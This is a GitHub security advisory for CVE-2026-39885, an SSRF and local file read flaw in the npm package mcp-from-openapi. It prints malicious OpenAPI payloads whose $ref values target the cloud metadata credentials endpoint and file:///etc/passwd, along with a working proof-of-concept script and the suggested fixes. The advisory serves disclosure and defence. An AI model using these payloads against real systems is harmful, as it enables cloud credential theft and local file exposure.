GHSA-V6PH-XCQ9-QXXJ
Vulnerability from github – Published: 2026-04-08 19:22 – Updated: 2026-04-09 14:29Summary
The mcp-from-openapi library uses @apidevtools/json-schema-ref-parser to dereference $ref pointers in OpenAPI specifications without configuring any URL restrictions or custom resolvers. A malicious OpenAPI specification containing $ref values pointing to internal network addresses, cloud metadata endpoints, or local files will cause the library to fetch those resources during the initialize() call. This enables Server-Side Request Forgery (SSRF) and local file read attacks when processing untrusted OpenAPI specifications.
Affected Versions
<= 2.1.2 (latest)
CWE
CWE-918: Server-Side Request Forgery (SSRF)
Vulnerability Details
File: index.js lines 870-875
When OpenAPIToolGenerator.initialize() is called, it dereferences the OpenAPI document using json-schema-ref-parser:
this.dereferencedDocument = await import_json_schema_ref_parser.default.dereference(
JSON.parse(JSON.stringify(this.document))
);
No options are passed to .dereference() — no URL allowlist, no custom resolvers, no protocol restrictions. The ref parser fetches any URL it encounters in $ref values, including:
http://andhttps://URLs (internal services, cloud metadata)file://URLs (local filesystem)
This is the default behavior of json-schema-ref-parser — it resolves all $ref pointers by fetching the referenced resource.
Exploitation
Attack 1: SSRF to internal services / cloud metadata
A malicious OpenAPI spec containing:
{
"openapi": "3.0.0",
"info": { "title": "Evil API", "version": "1.0" },
"paths": {
"/test": {
"get": {
"operationId": "getTest",
"summary": "test",
"responses": {
"200": {
"description": "OK",
"content": {
"application/json": {
"schema": {
"$ref": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
}
}
}
}
}
}
}
}
When processed by OpenAPIToolGenerator, the library fetches http://169.254.169.254/latest/meta-data/iam/security-credentials/ from the server, potentially leaking AWS IAM credentials.
Attack 2: Local file read
{
"$ref": "file:///etc/passwd"
}
The ref parser reads local files and includes their contents in the dereferenced output.
Proof of Concept
const http = require('http');
const { OpenAPIToolGenerator } = require('mcp-from-openapi');
// Start attacker server to prove SSRF
const srv = http.createServer((req, res) => {
console.log(`SSRF HIT: ${req.method} ${req.url}`);
res.writeHead(200, {'Content-Type': 'application/json'});
res.end('{"type":"string"}');
});
srv.listen(9997, async () => {
const spec = {
openapi: '3.0.0',
info: { title: 'Evil', version: '1.0' },
paths: {
'/test': {
get: {
operationId: 'getTest',
summary: 'test',
responses: {
'200': {
description: 'OK',
content: {
'application/json': {
schema: { '$ref': 'http://127.0.0.1:9997/ssrf-proof' }
}
}
}
}
}
}
}
};
const gen = new OpenAPIToolGenerator(spec, { validate: false });
await gen.initialize();
// Output: "SSRF HIT: GET /ssrf-proof"
// The library fetched our attacker URL during $ref dereferencing.
srv.close();
});
Tested and confirmed on mcp-from-openapi v2.1.2. The attacker server receives the GET request during initialize().
Impact
- Cloud credential theft —
$refpointing tohttp://169.254.169.254/steals AWS/GCP/Azure metadata - Internal network scanning —
$refvalues can probe internal services and ports - Local file read —
file://protocol reads arbitrary files from the server filesystem - No privileges required — attacker only needs to provide a crafted OpenAPI spec to any application using this library
Suggested Fix
Pass resolver options to dereference() that restrict which protocols and hosts are allowed:
this.dereferencedDocument = await $RefParser.dereference(
JSON.parse(JSON.stringify(this.document)),
{
resolve: {
file: false, // Disable file:// protocol
http: {
// Only allow same-origin or explicitly allowed hosts
headers: this.options.headers,
timeout: this.options.timeout,
}
}
}
);
Or disable all external resolution and require all schemas to be inline:
this.dereferencedDocument = await $RefParser.dereference(
JSON.parse(JSON.stringify(this.document)),
{
resolve: { file: false, http: false, https: false }
}
);
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.1.2"
},
"package": {
"ecosystem": "npm",
"name": "mcp-from-openapi"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.3"
},
"package": {
"ecosystem": "npm",
"name": "@frontmcp/sdk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.3"
},
"package": {
"ecosystem": "npm",
"name": "@frontmcp/adapters"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39885"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T19:22:53Z",
"nvd_published_at": "2026-04-08T21:17:00Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `mcp-from-openapi` library uses `@apidevtools/json-schema-ref-parser` to dereference `$ref` pointers in OpenAPI specifications without configuring any URL restrictions or custom resolvers. A malicious OpenAPI specification containing `$ref` values pointing to internal network addresses, cloud metadata endpoints, or local files will cause the library to fetch those resources during the `initialize()` call. This enables Server-Side Request Forgery (SSRF) and local file read attacks when processing untrusted OpenAPI specifications.\n\n\n## Affected Versions\n\n`\u003c= 2.1.2` (latest)\n\n## CWE\n\nCWE-918: Server-Side Request Forgery (SSRF)\n\n## Vulnerability Details\n\n**File:** `index.js` lines 870-875\n\nWhen `OpenAPIToolGenerator.initialize()` is called, it dereferences the OpenAPI document using `json-schema-ref-parser`:\n\n```javascript\nthis.dereferencedDocument = await import_json_schema_ref_parser.default.dereference(\n JSON.parse(JSON.stringify(this.document))\n);\n```\n\nNo options are passed to `.dereference()` \u2014 no URL allowlist, no custom resolvers, no protocol restrictions. The ref parser fetches any URL it encounters in `$ref` values, including:\n\n- `http://` and `https://` URLs (internal services, cloud metadata)\n- `file://` URLs (local filesystem)\n\nThis is the default behavior of `json-schema-ref-parser` \u2014 it resolves all `$ref` pointers by fetching the referenced resource.\n\n## Exploitation\n\n### Attack 1: SSRF to internal services / cloud metadata\n\nA malicious OpenAPI spec containing:\n\n```json\n{\n \"openapi\": \"3.0.0\",\n \"info\": { \"title\": \"Evil API\", \"version\": \"1.0\" },\n \"paths\": {\n \"/test\": {\n \"get\": {\n \"operationId\": \"getTest\",\n \"summary\": \"test\",\n \"responses\": {\n \"200\": {\n \"description\": \"OK\",\n \"content\": {\n \"application/json\": {\n \"schema\": {\n \"$ref\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n }\n }\n }\n }\n }\n }\n }\n }\n}\n```\n\nWhen processed by `OpenAPIToolGenerator`, the library fetches `http://169.254.169.254/latest/meta-data/iam/security-credentials/` from the server, potentially leaking AWS IAM credentials.\n\n### Attack 2: Local file read\n\n```json\n{\n \"$ref\": \"file:///etc/passwd\"\n}\n```\n\nThe ref parser reads local files and includes their contents in the dereferenced output.\n\n## Proof of Concept\n\n```javascript\nconst http = require(\u0027http\u0027);\nconst { OpenAPIToolGenerator } = require(\u0027mcp-from-openapi\u0027);\n\n// Start attacker server to prove SSRF\nconst srv = http.createServer((req, res) =\u003e {\n console.log(`SSRF HIT: ${req.method} ${req.url}`);\n res.writeHead(200, {\u0027Content-Type\u0027: \u0027application/json\u0027});\n res.end(\u0027{\"type\":\"string\"}\u0027);\n});\n\nsrv.listen(9997, async () =\u003e {\n const spec = {\n openapi: \u00273.0.0\u0027,\n info: { title: \u0027Evil\u0027, version: \u00271.0\u0027 },\n paths: {\n \u0027/test\u0027: {\n get: {\n operationId: \u0027getTest\u0027,\n summary: \u0027test\u0027,\n responses: {\n \u0027200\u0027: {\n description: \u0027OK\u0027,\n content: {\n \u0027application/json\u0027: {\n schema: { \u0027$ref\u0027: \u0027http://127.0.0.1:9997/ssrf-proof\u0027 }\n }\n }\n }\n }\n }\n }\n }\n };\n\n const gen = new OpenAPIToolGenerator(spec, { validate: false });\n await gen.initialize();\n // Output: \"SSRF HIT: GET /ssrf-proof\"\n // The library fetched our attacker URL during $ref dereferencing.\n\n srv.close();\n});\n```\n\n**Tested and confirmed** on mcp-from-openapi v2.1.2. The attacker server receives the GET request during `initialize()`.\n\n## Impact\n\n- **Cloud credential theft** \u2014 `$ref` pointing to `http://169.254.169.254/` steals AWS/GCP/Azure metadata\n- **Internal network scanning** \u2014 `$ref` values can probe internal services and ports\n- **Local file read** \u2014 `file://` protocol reads arbitrary files from the server filesystem\n- **No privileges required** \u2014 attacker only needs to provide a crafted OpenAPI spec to any application using this library\n\n## Suggested Fix\n\nPass resolver options to `dereference()` that restrict which protocols and hosts are allowed:\n\n```javascript\nthis.dereferencedDocument = await $RefParser.dereference(\n JSON.parse(JSON.stringify(this.document)),\n {\n resolve: {\n file: false, // Disable file:// protocol\n http: {\n // Only allow same-origin or explicitly allowed hosts\n headers: this.options.headers,\n timeout: this.options.timeout,\n }\n }\n }\n);\n```\n\nOr disable all external resolution and require all schemas to be inline:\n\n```javascript\nthis.dereferencedDocument = await $RefParser.dereference(\n JSON.parse(JSON.stringify(this.document)),\n {\n resolve: { file: false, http: false, https: false }\n }\n);\n```",
"id": "GHSA-v6ph-xcq9-qxxj",
"modified": "2026-04-09T14:29:54Z",
"published": "2026-04-08T19:22:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/agentfront/frontmcp/security/advisories/GHSA-v6ph-xcq9-qxxj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39885"
},
{
"type": "PACKAGE",
"url": "https://github.com/agentfront/frontmcp"
},
{
"type": "WEB",
"url": "https://github.com/agentfront/frontmcp/releases/tag/v1.0.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "mcp-from-openapi is Vulnerable to SSRF via $ref Dereferencing in Untrusted OpenAPI Specifications"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.